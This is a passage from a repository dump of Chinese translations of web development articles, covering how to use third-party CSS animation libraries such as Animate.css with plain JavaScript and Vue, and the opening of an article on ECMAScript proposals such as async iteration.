的第一份工作草案于 2009 年 3 月由 W3C 首次发布。第一个工作草案 [CSS Animations Module Level 3](https://www.w3.org/TR/2009/WD-css3-animations-20090320/) 是在大致相同的时间发布的。截止到 2018 年 10 月，这两个 CSS 模块仍然处于工作草案状态，当然，我们已经大量使用了它们。\n\n一开始一个由第三方提供的、仅仅为了一个简单的悬停状态的 JavaScript 函数，逐渐变成了 CSS 中精巧复杂的过渡和动画——这一复杂性，许多开发者都不愿在他们需要快速推进新项目的时候花时间考虑。我们已经绕了一圈；今天，许多第三方 CSS 动画库已经被创建用来抵消这种复杂性。\n\n## 三种不同类型的第三方动画库\n\n在这个新的世界里，我们可以在网页和应用程序中实现强大、令人兴奋的、复杂的动画。关于如何处理这些新任务，出现了几个不同的想法。并不是一种方法比另一种更好；事实上，两者之间有很多重叠之处。不同之处在于我们如何为它们实现和编写代码。有些是成熟的 JavaScript 专用库，而另一些则是 css 专用集合。\n\n### JavaScript 库\n\n仅通过 JavaScript 操作的库通常提供的功能超出了常见的 CSS 动画所提供的功能。通常，会有重叠，因为库实际上可能使用 CSS 特性作为其引擎的一部分，但这将被抽象出来，以支持 API。例如 [Greensock](https://greensock.com/) 和 [Anime.js](https://animejs.com/)。通过查看他们提供的演示，你可以看到他们提供的内容的范围（Greensock 有一个 [CodePen 上的 nice 集合](https://codepen.io/GreenSock/)）。它们主要用于高度复杂的动画，但也可以用于更基本的动画。\n\n### JavaScript 和 CSS 库\n\n有一些第三方库主要包括 CSS 类，但也提供了一些 JavaScript，以便在项目中轻松使用这些类。一个库 [mic.js](https://webkul.github.io/micron/) 提供了一个 JavaScript API 和可以在元素上使用的数据属性。这种类型的库允许你轻松地使用预先构建的动画，你可以从中选择动画。另一个库 [Motion UI,](https://zurb.com/blog/introducing-the-new-motion-ui) 打算与 JavaScript 框架一起使用。尽管如此，它也适用于类似的概念，即 JavaScript API、预构建类和数据属性的混合。这些类型的库提供了预构建的动画，并提供了一种将它们连接起来的简单方法。\n\n#### CSS 库\n\n第三种库是只支持 CSS 的。通常，这只是通过 HTML 中的链接标签加载的 CSS 文件。然后应用并删除特定的 CSS 类来使用所提供的动画。这类库的两个例子是 [Animate.css](https://daneden.github.io/animate.css/) 和 [Animista](http://animista.net/)。也就是说，这两个特殊的库之间甚至有很大的差异。CSS 是一个完整的 CSS 包，而 Animista 提供了一个光滑的界面来选择你想要的动画代码。这些库通常很容易实现，但是你必须编写代码才能使用它们。这些是本文将重点讨论的库类型。\n\n## 三种不同类型的 CSS 动画\n\n是的，有这么样的一个模式；毕竟，[三条写作的原则](https://en.wikipedia.org/wiki/Rule_of_three_(writing))无处不在。\n\n在大多数情况下，使用第三方库时需要考虑三种类型的动画。每种类型适合不同的目的，并有不同的方法来使用它们。\n\n### 悬浮动画\n\n![图中左边是一个黑色按钮和一个橙色按钮，上面有一个鼠标光标作为悬停效果。](https://css-tricks.com/wp-content/uploads/2019/05/button-hover.png)\n\n这些动画被设计成某种悬停状态。它们通常与按钮一起使用，但另一种可能性是使用它们突出显示光标所在的部分。它们还可以用于聚焦状态。\n\n### 注意动画\n\n![一个网页的插图，上面有灰色的方框和屏幕顶部的红色警告，以显示一个元素的实例，该元素寻求关注。](https://css-tricks.com/wp-content/uploads/2019/05/attention.png)\n\n这些动画用于通常位于查看页面的人的视觉中心之外的元素。动画应用于需要注意的显示部分。这样的动画本质上是微妙的，可用于那些在最后需要一些注意，但是本质并不严重的事情。当需要立即集中注意力时，它们也会高度分散注意力。\n\n### 过渡动画\n\n![同心圆垂直堆叠的插图，按升序由灰色变为黑色。](https://css-tricks.com/wp-content/uploads/2019/05/transition.png)\n\n这些动画通常打算让视图中的一个元素替换另一个元素，但也可以用于一个元素。这些通常包括用于“离开”视图的动画和用于“进入”视图的镜像动画。想想淡入淡出。这在单页应用程序中是很常见的，例如，数据的一部分将转换到另一组数据。\n\n那么，让我们来看看每种类型动画的例子，以及如何使用它们。\n\n## 让我们把它悬停起来！\n\n有些库可能已经设置了悬停效果，而有些库则将悬停状态作为其主要用途。其中一个这样的库是 [Hover.css](http://ianlunn.github.io/Hover/)，这是一个下拉式解决方案，提供了通过类名应用的一系列悬停效果。不过，有时我们希望在不直接支持 `:hover` 伪类的库中使用动画，因为这可能与全局样式冲突。\n\n对于这个例子，我将使用 [Animate.css](https://daneden.github.io/animate.css/) 提供的**tada** animation。它的作用主要是吸引注意力，但是对于这个例子来说，它已经足够了。如果你要[查看库的 CSS](https://github.com/daneden/animate.css/blob/master/animate.css)，你将发现没有要查找的 `:hover` 伪类。所以，我们必须让它以我们自己的方式工作。\n\n`tada`类本身很简单:\n\n```css\n.tada {\n  animation-name: tada;\n}\n```\n\n让它对悬停状态做出反应的一种比较省事的办法是创建我们自己的类的本地副本，但是稍微扩展一下。通常，Animate.css 是一个下拉式解决方案，所以我们不一定有编辑原始 CSS 文件的选项;尽管如果你愿意，你可以拥有自己的本地文件副本。因此，我们只创建需要不同的代码，其余的代码由库处理。\n\n```css\n.tada-hover:hover {\n  animation-name: tada;\n}\n```\n\n我们可能不应该覆盖原来的类名，以防我们想在其他地方使用它。因此，我们做了一个变化，我们可以把 `:hover` 伪类放在选择器上。现在，我们只需使用库中必需的`animated` 类以及自定义的 `tada-hover` 类来创建一个元素，它将在悬停时播放动画。\n\n如果你不希望以这种方式创建自定义类，而希望使用 JavaScript 解决方案，那么有一种相对简单的方法来处理它。奇怪的是，它与我们前面讨论过的 Dreamweaver 中的 `MM_imageSwap()` 方法类似。\n\n```javascript\n// Let's select elements with ID #js_example\nvar js_example = document.querySelector('#js_example');\n\n// When elements with ID #js_example are hovered...\njs_example.addEventListener('mouseover', function () {\n  // ...let's add two classes to the element: animated and tada...\n  this.classList.add('animated', 'tada');\n});\n// ...then remove those classes when the mouse is not on the element.\njs_example.addEventListener('mouseout', function () {\n  this.classList.remove('animated', 'tada');\n});\n```\n\n根据上下文，实际上有多种方法可以处理这个问题。在这里，我们创建一些事件监听器来等待鼠标经过和鼠标离开事件。这些侦听器然后根据需要应用和删除库的 `animated` 和 `tada` 类。正如你所看到的，只需稍微扩展一下第三方库以满足我们的需求，就可以相对容易地完成。\n\n## 请大家注意一下好吗?\n\n第三方库可以帮助的另一种类型的动画是注意力寻求者。当你希望将注意力吸引到页面的某个元素或部分时，这些动画非常有用。这方面的一些例子可以是通知或未填充的必需表单输入。这些动画可以是微妙的，也可以是直接的。当某件事情需要最终的关注，但不需要立即解决时，这是很微妙的。直接用于现在需要解决的事情。\n\n有些库将动画作为整个包的一部分，而有些库是专门为此目的构建的。Animate.css 和 Animista 都有用于吸引注意的动画。为此目的构建的库的一个例子是 [CSShake](https://elrumordelaluz.github.io/csshake/)。使用哪个库取决于项目的需要以及你希望在实现它们上投入多少时间。例如，CSShake 已经为你准备好了，你只需根据需要应用类即可。不过，如果你已经在使用 Animate 之类的库。然后，你可能不希望引入第二个库（用于性能、依赖关系等）。\n\n因此，可以使用 Animate.css 这样的库，但需要更多的设置。库的 [GitHub 页面有一些示例](https://github.com/daneden/animate.css)介绍了如何实现这一点。根据项目的需要，将这些动画实现为吸引注意力的工具非常简单。\n\n对于一种微妙的动画类型，我们可以有一个只是重复一定数量的次数和停止。这通常包括添加库的类，将 animation iteration 属性应用于 CSS，并等待 animation end 事件清除库的类。\n\n下面是一个简单的例子，与我们之前看到的悬停状态相同：\n\n```javascript\nvar pulse = document.querySelector('#pulse');\n\nfunction playPulse () {\n  pulse.classList.add('animated', 'pulse');\n}\n\npulse.addEventListener('animationend', function () {\n  pulse.classList.remove('animated', 'pulse');\n});\n\nplayPulse();\n```\n\n库类在调用 playPulse 函数时应用。animationend 事件有一个事件监听器，它将删除库的类。通常，这只会播放一次，但你可能希望在停止之前重复多次。CSS 没有为此提供一个类，但是为我们的元素应用 CSS 属性来处理它是很容易的。\n\n```css\n#pulse {\n  animation-iteration-count: 3; /* Stop after three times */\n}\n```\n\n这样，动画将播放三次才会停止。如果我们需要更早地停止动画，我们可以手动删除 `animationend` 函数之外的库类。库的文档实际上提供了一个可重用函数的例子，用于应用在动画之后删除它们的类;与上面的代码非常相似。甚至可以很容易地扩展它，将迭代计数应用于元素。\n\n对于更直接的方法，让我们说一个无限的动画，直到用户交互发生后才会停止。让我们假设单击元素是动画的开始，然后再次单击停止动画。请记住，动画的启动和停止取决于你自己。\n\n```javascript\nvar bounce = document.querySelector('#bounce');\n\nbounce.addEventListener('click', function () {\n  if (!bounce.classList.contains('animated')) {\n    bounce.classList.add('animated', 'bounce', 'infinite');\n  } else {\n    bounce.classList.remove('animated', 'bounce', 'infinite');\n  }\n});\n```\n\n很简单。如果应用了库的 \"animated\" 类，单击元素测试。如果没有，我们应用库类，这样它就会启动动画。如果它有类，我们删除它们来停止动画。注意 `classList` 末尾的 `infinite` 类。幸运的是，Animate.css 为我们提供了开箱即用的功能。如果你选择的库没有提供这样的类，那么这就是你需要在你的 CSS：\n\n```css\n#bounce {\n  animation-iteration-count: infinite;\n}\n```\n\n下面的演示表达了这段代码的行为：\n\n请参阅 Travis Almand[@talmand](https://codepen.io/talmand/pen/pmzlzr/) 在 [codepen](https://codepen.io) 上的笔记 [3rd party animation libraries:attention seekers](https://codepen.io/talmand/)。\n\n> - [Integrating Third-Party Animation Libraries to a Project - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/integrating-third-party-animation-libraries-to-a-project-1.md)\n> - [Integrating Third-Party Animation Libraries to a Project - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/integrating-third-party-animation-libraries-to-a-project-2.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/integrating-third-party-animation-libraries-to-a-project-2.md",
    "content": "> * 原文地址：[Integrating Third-Party Animation Libraries to a Project - Part 2](https://css-tricks.com/integrating-third-party-animation-libraries-to-a-project/)\n> * 原文作者：[Travis Almand](https://css-tricks.com/author/travisalmand/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/integrating-third-party-animation-libraries-to-a-project-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/integrating-third-party-animation-libraries-to-a-project-2.md)\n> * 译者：[Baddyo](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[lgh757079506](https://github.com/lgh757079506)\n\n# 在项目中集成第三方动画库 —— 第二部分\n\n> - [在项目中集成第三方动画库 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/integrating-third-party-animation-libraries-to-a-project-1.md)\n> - [在项目中集成第三方动画库 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/integrating-third-party-animation-libraries-to-a-project-2.md)\n\n## 过关斩将\n\n在为本文查资料时，我发现第三方动画库中最常见的动画类型就是过渡动画（并非 CSS transition）了。有些简单的动画应用于元素出入页面的过程。现代单页应用中最司空见惯的模式就是让一个元素进入页面，顶替另一个离开页面的元素。想想这种情况：第一个元素淡出而第二个元素淡入。这个动画可以用于新旧数据交替、按顺序移动面板或切换路由到另一个页面。[Sarah Drasner](https://css-tricks.com/native-like-animations-for-page-transitions-on-the-web/) 和 [Georgy Marchuk](https://css-tricks.com/page-transitions-for-everyone/) 都列举了很多此类过渡动画的优秀案例。\n\n大多数情况下，动画库不支持在过渡动画中添加或删除元素。用额外的 JavaScript 代码实现的库也许支持这样的功能，但毕竟这样的库很少见，因此我们现在就来讨论如何实现该功能。\n\n### 插入单个元素\n\n对于本例，我们继续使用 Animate.css,并会用到 fadeInDown 动画。\n\n在 DOM 中插入元素有很多种方式，在此不再赘述。我仅会展示如何用动画优雅流畅地插入元素，而非让元素生硬地突现。对于 Animate.css（或其他类似的库）来说，这个功能十分简单。\n\n```javascript\nlet insertElement = document.createElement('div');\ninsertElement.innerText = 'this div is inserted';\ninsertElement.classList.add('animated', 'fadeInDown');\n\ninsertElement.addEventListener('animationend', function () {\n  this.classList.remove('animated', 'fadeInDown');\n});\n\ndocument.body.append(insertElement);\n```\n\n你如何创建该元素不重要，关键在于确保元素插入之前添加了所需的类。然后，此元素就会以优雅的动画登场。我还监听了 `animationend` 事件，用于移除动画类。通常来说，实现此效果的方式不一而足，而这种方式是最直接的方式了。移除动画类是为了方便实现退场效果。我们不想让退场动画和进场动画相互冲突。\n\n### 移除单个元素\n\n移除单个元素和插入大体类似。目标元素已经存在了，我们添加所需的动画类就好。然后在 `animationend` 事件触发时，我们把该元素从 DOM 中移除。在本例中，我们会使用 Animate.css 提供的 `fadeOutDown` 动画，因为它和 `fadeInDown` 动画是相互呼应的。\n\n```javascript\nlet removeElement = document.querySelector('#removeElement');\n\nremoveElement.addEventListener('animationend', function () {\n  this.remove();\n});\n\nremoveElement.classList.add('animated', 'fadeOutDown');\n```\n\n如你所见，锁定目标元素、添加类以及在动画结束时移除元素，一气呵成。\n\n这个过程会有一个问题，那就是随着目标元素的插入或移除，其他元素将会在页面中重排。我们需要去考虑使用 CSS 技术和一些布局方式去规避这个问题。\n\n### 你方唱罢我登场\n\n现在我们要切换两个元素，一进一出。条条大路通罗马，但我举的例子是上文中两个例子的结合。\n\n\n参见 [CodePen](https://codepen.io) 上来自 Travis Almand（[@talmand](https://codepen.io/talmand)）的代码示例：[第三方动画库：双元素过渡](https://codepen.io/talmand/pen/JqPLbm/)。\n\n我会把 JavaScript 代码分块来讲解其原理。首先，我们创建 button、container 变量分别存储对应的两个 DOM 节点。然后，我们创建 box1、box2 来存储在 container 中要交换的两个元素。\n\n```javascript\nlet button = document.querySelector('button');\nlet container = document.querySelector('.container');\nlet box1 = document.createElement('div');\nlet box2 = document.createElement('div');\n```\n\n我写了一个通用函数，用来在每次触发 `animationEnd` 时移除动画类。\n\n```javascript\nlet removeClasses = function () {\n  box1.classList.remove('animated', 'fadeOutRight', 'fadeInLeft');\n  box2.classList.remove('animated', 'fadeOutRight', 'fadeInLeft');\n}\n```\n\n第二个函数则是切换功能的核心。首先，我们确定当前显示的是哪个元素。借此我们可以推断出哪个元素切入，哪个切出。切出元素用 `switchElements` 函数监听，预先移除动画类，避免陷入动画循环。然后，等切出元素的动画完成，我们将其从容器中移除。接下来，给切入元素添加动画类，并将其插入容器，让它以动画登场。\n\n```javascript\nlet switchElements = function () {\n  let currentElement = document.querySelector('.container .box');\n  let leaveElement = currentElement.classList.contains('box1') ? box1 : box2;\n  let enterElement = leaveElement === box1 ? box2 : box1;\n  \n  leaveElement.removeEventListener('animationend', switchElements);\n  leaveElement.remove();\n  enterElement.classList.add('animated', 'fadeInLeft');\n  container.append(enterElement);\n}\n```\n\n我们需要给两个盒子做一些通用设置。接着，将第一个盒子插入到容器中。\n\n```javascript\nbox1.classList.add('box', 'box1');\nbox1.addEventListener('animationend', removeClasses);\nbox2.classList.add('box', 'box2');\nbox2.addEventListener('animationend', removeClasses);\n\ncontainer.appendChild(box1);\n```\n\n最后，给触发切换的按钮添加点击事件监听。这一系列事件的启动顺序取决于你。在本例中，我打算从按钮点击事件开始。我确定了正在显示的盒子 —— 即将切出的盒子，给它添加对应的类让它以动画切出。然后我监听切出元素的 `animationEnd` 事件，触发该事件会调用切实操纵切换的函数 —— 上面列出的 `switchElements` 函数。\n\n```javascript\nbutton.addEventListener('click', function () {\n  let currentElement = document.querySelector('.container .box');\n  \n  if (currentElement.classList.contains('box1')) {\n    box1.classList.add('animated', 'fadeOutRight');\n    box1.addEventListener('animationend', switchElements);\n  } else {\n    box2.classList.add('animated', 'fadeOutRight');\n    box2.addEventListener('animationend', switchElements);\n  }\n}\n```\n\n这个例子眼下有个问题：其代码是专门为这一情况写死的。当然了，它也很易于扩展，也能适应不同场景。故此，该例子只是用来理解如何实现这一功能的。还好，一些诸如 [MotionUI](https://zurb.com/playground/motion-ui) 这样的动画库支持用 JavaScript 操纵元素的过渡动画。另外，像 [VueJS](https://vuejs.org/v2/guide/transitions.html) 这类 JavaScript 框架也支持切换元素的过渡动画。\n\n我在另一个例子中展示了一个更灵活的系统。它由一个容器构成，该容器存放着用 data 属性引用的切入和切出动画。容器中的两个元素按照命令切换位置。这个例子的原理是，通过 JavaScript 控制 data 属性可以轻松改变动画。Demo 中还有两个容器，一个用的是 Animate.css 实现动画；另一个用的则是 Animista。这个例子代码量较大，我将不在本文中讲解，但这个例子的注释很充足，感兴趣的话可以看看。\n\n参见 [CodePen](https://codepen.io) 上来自 Travis Almand（[@talmand](https://codepen.io/talmand)）的代码示例：[第三方动画库：自定义动画示例](https://codepen.io/talmand/pen/mYdeBb/)。\n\n## 停下来思考一下……\n\n是所有人都想看到这些动画吗？可能有些人会觉得这些动画浮夸，没什么必要，而另一些人会认为这些动画会导致一些问题。就在前不久，WebKit 为了解决 [Vestibular Spectrum Disorder](https://alistapart.com/article/accessibility-for-vestibular/) 问题，引入了 [`prefers-reduced-motion`](https://webkit.org/blog/7551/responsive-design-for-motion/) 媒体查询功能。Eric Bailey 也针对该媒体查询功能发表了一篇[详尽的说明文章](https://css-tricks.com/introduction-reduced-motion-media-query/)，和[一篇关于最佳实践的跟进文章](https://css-tricks.com/revisiting-prefers-reduced-motion-the-reduced-motion-media-query/)。务必看看这些资料。\n\n那么，你选择的动画库支持 `prefers-reduced-motion` 吗？如果官方文档没说能支持，那你最好假设不支持。就算官方文档语焉不详，你还可以查看动画库的代码来确定是否支持，这也容易。例如，Animate.css 在 [`_base.scss`](https://github.com/daneden/animate.css/blob/0ca8f2dc7c74c9e76b93bc378dad8b1cc1590dad/source/_base.css#L46) 文件中就有关于媒体查询的代码。\n\n```css\n@media (print), (prefers-reduced-motion) {\n  .animated {\n    animation: unset !important;\n    transition: none !important;\n  }\n}\n```\n\n如果你选择的动画库不支持媒体查询，那么看到这里的代码，你也会知道如何自己动手写一个补丁。如果该库使用一个通用类 —— 比如 Animate.css 的 animated 类 —— 那你以这个通用类为目标就行了。如果没有这样一个通用类，那你可以选某个特定的动画类或者自己写一个来实现。\n\n```css\n.scale-up-center {\n  animation: scale-up-center 0.4s cubic-bezier(0.390, 0.575, 0.565, 1.000) both;\n}\n\n@keyframes scale-up-center {\n  0% { transform: scale(0.5); }\n  100% { transform: scale(1); }\n}\n\n@media (print), (prefers-reduced-motion) {\n  .scale-up-center {\n    animation: unset !important;\n    transition: none !important;\n  }\n}\n```\n\n可以看到，我比照 Animate.css 中的代码改造了 Animista 中的动画类。记住，你得把所选库中每个动画类都做这样的处理。在 Eric 的文章中，他建议[对所有动画都做渐进增强](https://css-tricks.com/revisiting-prefers-reduced-motion-the-reduced-motion-media-query/#article-header-id-4)，以此减少代码并提高用户体验。\n\n## 让框架帮你干力气活\n\n在很多方面，React、Vue 这些五花八门的框架，让第三方 CSS 动画库比原生 JavaScript 更加易用，因为你不需要手动接驳那些类或者 `animationend` 事件。你可以用框架提供的现成功能实现所需效果。使用框架的便利之处在于框架还提供多种操纵动画的方式，满足多种项目需求。下面的例子展示的只是冰山一角。\n\n### hover 效果\n\n对于 hover 效果，我建议用 CSS（一如上文中的建议）来设置会比较好。如果你确实需要在 Vue 之类的框架中用 JavaScript 实现，将会是这样：\n\n```html\n<button @mouseover=\"over($event, 'tada')\" @mouseleave=\"leave($event, 'tada')\">\n  tada\n</button>\n```\n\n```javascript\nmethods: {\n  over: function(e, type) {\n    e.target.classList.add('animated', type);\n  },\n  leave: function (e, type) {\n    e.target.classList.remove('animated', type);\n  }\n}\n```\n\n和上面列举的原生 JavaScript 方案没有太多不同。 同样地，有很多办法实现该效果。\n\n### 夺目动画（Attention seekers）\n\n设置吸引用户注意力的动画效果非常容易。我们只需添加类名即可，仍然用 Vue 为例：\n\n```html\n<div :class=\"{animated: isPulse, pulse: isPulse}\">pulse</div>\n\n<div :class=\"[{animated: isBounce, bounce: isBounce}, 'infinite']\">bounce</div>\n```\n\n在 pulse 效果中，当布尔变量 `isPulse` 的值为 true 时，就会给元素添加两个类名。在 bounce 效果中，当布尔变量 `isBounce` 的值为 true 时，就会给元素添加 `animated` 类和 `bounce` 类。`infinite` 这个类是默认启用的，这样在布尔变量 `isBounce` 的值变为 false 之前，bounce效果会一直持续。\n\n### 过渡动画\n\n幸好，Vue 的[过渡组件](https://vuejs.org/v2/guide/transitions.html)可以通过[自定义过渡类](https://vuejs.org/v2/guide/transitions.html#Custom-Transition-Classes)轻松支持第三方动画类。其他库 —— 比如 React —— 也有类似的[功能或插件](https://reactjs.org/docs/animation.html)。要在 Vue 中使用动画类，我们只需在过渡组件中实现即可。\n\n```html\n<transition\n  enter-active-class=\"animated fadeInDown\"\n  leave-active-class=\"animated fadeOutDown\"\n  mode=\"out-in\"\n>\n  <div v-if=\"toggle\" key=\"if\">if example</div>\n  <div v-else key=\"else\">else example</div>\n</transition>\n```\n\n使用 Animate.css 时，我们仅仅使用必要的类即可。要实现 `enter-active` 效果，我们使用 `animated` 和 `fadeInDown` 即可。要实现 `leave-active` 效果，我们使用 `animated` 和 `fadeOutDown` 即可。在过渡过程中，这些类会在适当的时候插入。Vue 会替我们控制类的插入和移除。\n\n想要了解关于在 JavaScript 框架中使用第三方动画库的更复杂的例子，请点击下方链接：\n\n参见 [CodePen](https://codepen.io) 上来自 Travis Almand（[@talmand](https://codepen.io/talmand)）的代码示例：[KLKdJy](https://codepen.io/talmand/pen/KLKdJy/)。\n\n## 来狂欢吧！\n\n这只是一次小小的尝试，还有更多第三方 CSS 动画库等你去探索。有[详细完备](http://animista.net/play/basic)的，有[别出心裁](http://www.joerezendes.com/projects/Woah.css/)的，有[特色鲜明](http://ianlunn.github.io/Hover/)的，有[口味偏重](http://tholman.com/obnoxious/)的，也有[直接明了](https://daneden.github.io/animate.css/)的。还有针对复杂的 JavaScript 动画的库，例如 [Greensock](https://greensock.com/) 和 [Anime.js](https://animejs.com/)。甚至还有专门针对[字母动画](http://cssanimation.io/)的库。\n\n真心希望这些库能够激发你的灵感，创造你自己的 CSS 动画。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/interesting-ecmascript-2017-proposals.md",
    "content": "> * 原文地址：[Interesting ECMAScript 2017 proposals that weren’t adopted](https://blog.logrocket.com/interesting-ecmascript-2017-proposals-163b787cf27c)\n> * 原文作者：[Kaelan Cooter](https://blog.logrocket.com/@eranimo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/interesting-ecmascript-2017-proposals.md](https://github.com/xitu/gold-miner/blob/master/TODO1/interesting-ecmascript-2017-proposals.md)\n> * 译者：[Colafornia](https://github.com/Colafornia)\n> * 校对者：[jasonxia23](https://github.com/jasonxia23) [kezhenxu94](https://github.com/kezhenxu94)\n\n# 那些好玩却尚未被 ECMAScript 2017 采纳的提案\n\n![](https://cdn-images-1.medium.com/max/1000/1*kEpd3JC1gUOkupbYpik4jQ.jpeg)\n\n要跟上所有新功能提案的进度并不容易。每年，管理 JavaScript 发展的委员会 [TC39](https://github.com/tc39) 都会收到数十个提案。由于大多数提案都不会到达第二阶段，因此很难确定哪些提案值得关注，哪些提案只是奇思妙想（或者称之为异想天开）。\n\n由于现在越来越多的提案涌现出来，想要只停留在这些特性提案的顶层会非常困难。在过去介于 ES5 和 ES6 之间的六年时间里 JavaScript 的发展脚步非常保守。自 ECMAScript 2016 (ES7) 发布，发布过程要求为每年发布一次，并且[更加标准化](https://tc39.github.io/process-document/)。\n\n随着近些年来 polyfills 和转译器的流行，一些尚属早期（early-stage）的提案甚至在还未最终确定前就已经被广泛使用了。并且，由于提案在被采纳之前会有很大变动，一些开发者可能会发现他们所使用的特性永远不会变成 JavaScript 的语言实现。\n\n在深入研究那些我觉得很好玩的提案之前，我们先花点时间熟悉一下目前的提案流程。\n\n### **ECMAScript 提案流程中的 5 个 stage**\n\nStage 0 “稻草人” —— 这是所有提案的起点。在进入下一阶段之前，提案的内容可能会发生重大变化。目前还没有提案的接收标准，任何人都可以为这一阶段提交新的提案。无需任何代码实现，规范也无需合乎标准。这个阶段的目的是开始针对该功能特性的讨论。目前已经有[超过 20 个处于 stage 0 的提案](https://github.com/tc39/proposals/blob/master/stage-0-proposals.md)。\n\nStage 1 “提案” —— 一个真正的正式提案。此阶段的提案需要一个[“拥护者”](https://github.com/tc39/ecma262/blob/master/FAQ.md#what-is-the-process-for-proposing-a-new-feature)（即 TC39 委员会的成员）。此阶段需仔细考虑 API 并描述出任何潜在的、代码实现方面的挑战。此阶段也需开发 polyfill 并产出 demo。在这一阶段之后提案可能会发生重大变化，因此需小心使用。目前仍处于这一阶段的提案包括了已望穿秋水的 [Observables type](https://github.com/tc39/proposal-observable) 与 [Promise.try](https://github.com/tc39/proposal-promise-try) 功能。\n\nStage 2 “草案” —— 此阶段将使用正式的 TC39 规范语言来精确描述语法。在此阶段后仍由可能发生一些小修改，但是规范应该足够完整，无需进行重大修订。如果一个提案走到了这一步，那么很有可能委员会是希望最终可以实现该功能的。\n\nStage 3 “候选” —— 该提案已获批准，仅当执行作者提出要求时才会做进一步的修改。此时你可以期待 JavaScript 引擎中开始实现提案的功能了。在这一阶段草案的 polyfill 可以安全无忧使用。\n\nStage 4 “完成” —— 说明提案已被采纳，提案规范将与 JavaScript 规范合并。预计不会再发生变化。JavaScript 引擎将发布它们的实现。截至 2017 年 10 月，已经有 [9 个已完成的提案](https://github.com/tc39/proposals/blob/master/finished-proposals.md)，其中最引人关注的是 [async functions](https://github.com/tc39/ecmascript-asyncawait)。\n\n由于提案越来越多，思考一番，以下几个提案是其中更有趣的。\n\n![](https://cdn-images-1.medium.com/max/800/1*9nMBMt-OugnruBr_M-WuEQ.png)\n\n图源 [https://xkcd.com/927/](https://xkcd.com/927/)\n\n### Asynchronous Iteration 异步迭代\n\nECMAScript 2015 中引入了迭代器 iterator，其中包含了 **for-of** 循环语法。这使得循环遍历可迭代对象变得相当容易，并且可以实现你自己的可迭代数据结构。\n\n遗憾的是，遍历器无法用于表示异步的数据结构如访问文件系统。虽然你可以运行 Promise.all 来遍历一系列的 promise，但这需要同步确定“已完成”的状态。\n\n例如，可以使用异步迭代器来遍历异步内容，按需读取文件中内容，而不是提前读取文件中的所有内容。\n\n你可以通过简单地同时使用 generator 生成器语法和 async-await 语法来定义异步生成器函数：\n\n```javascript\nasync function* readLines(path) {\n  let file = await fileOpen(path);\n\n  try {\n    while (!file.EOF) {\n      yield await file.readLine();\n    }\n  } finally {\n    await file.close();\n  }\n}\n```\n\n异步生成器函数示例。\n\n#### 示例\n\n可以在 for-await-of 循环中使用这个异步生成器：\n\n```javascript\nfor await (const line of readLines(filePath)) {\n  console.log(line);\n}\n```\n\n使用 for-await-of。\n\n任意具有 Symbol.asyncIterator 属性的对象都被定义为 **async iterable**，并且可使用于新的 for-await-of 语法中。这有一个具体可运行的示例：\n\n```javascript\nclass LineReader() {\n constructor(filepath) {\n   this.filepath = filepath;\n   this.file = fileOpen(filepath);\n }\n\n [Symbol.asyncIterator]: {\n   next() {\n     return new Promise((resolve, reject) => {\n       if (this.file.EOF) {\n         resolve({ value: null, done: true });\n       } else {\n         this.file.readLine()\n           .then(value => resolve({ value, done: false }))\n           .catch(error => reject(error));\n       }\n     });\n   }\n }\n}\n```\n\n使用 Symbol.asyncIterator 的示例。\n\n[这一提案](https://github.com/tc39/proposal-async-iteration) 目前处于 stage 3，浏览器已经开始实现了。处于这一阶段意味着它很有可能会被合并入标准并可以在主流浏览器中使用。但是，在此之前，规范可能会有一些小修改，因此现在使用异步迭代器会带来一定程度的风险。\n\n[regenerator](https://github.com/facebook/regenerator) 项目目前已为异步迭代器提案提供了基本支持。但是，它本身并不支持 for-await-of 循环语法。Babel 插件 [transform-async-generator-functions](https://www.npmjs.com/package/babel-plugin-transform-async-generator-functions) 既支持异步生成器又支持 for-await-of 循环语法。\n\n### Class 